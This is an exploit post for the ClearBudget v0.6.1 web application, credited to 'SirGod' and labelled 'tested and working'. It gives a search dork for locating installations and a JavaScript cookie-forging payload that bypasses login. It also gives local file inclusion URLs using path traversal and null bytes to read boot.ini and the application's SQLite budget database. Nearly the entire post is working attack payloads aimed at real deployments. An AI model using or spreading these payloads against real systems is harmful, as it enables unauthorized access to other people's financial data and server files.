ClearBudget version 0.6.1 suffers from local file inclusion and insecure cookie handling vulnerabilities.
c2c45a31b0dd169bc8ff555020a1b36a476458018305ef9ae62593b12ec0230f
tested and working.sploit :
#############################################################################################
[+] ClearBudget v0.6.1 Insecure Cookie Handling / LFI
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
[+] www.hellzone.info
[+] www.anti-intruders.org
#############################################################################################
[+] Dork : ClearBudget v0.6.1
[+] Homepage : http://clearbudget.douteaud.com/
[+] Insecure Cookie Handling
PoC : javascript:document.cookie = "user=true; path=/";
Live Demo : http://clearbudget.douteaud.com/demo/0-6-1/
[+] Local File Inclusion
Example : http://127.0.0.1/path/index.php?action=[Local File]%00
PoC : http://127.0.0.1/path/index.php?action=../../../../boot.ini%00
PoC 2 : http://127.0.0.1/path/index.php?action=../db/budget.sqlite%00
#############################################################################################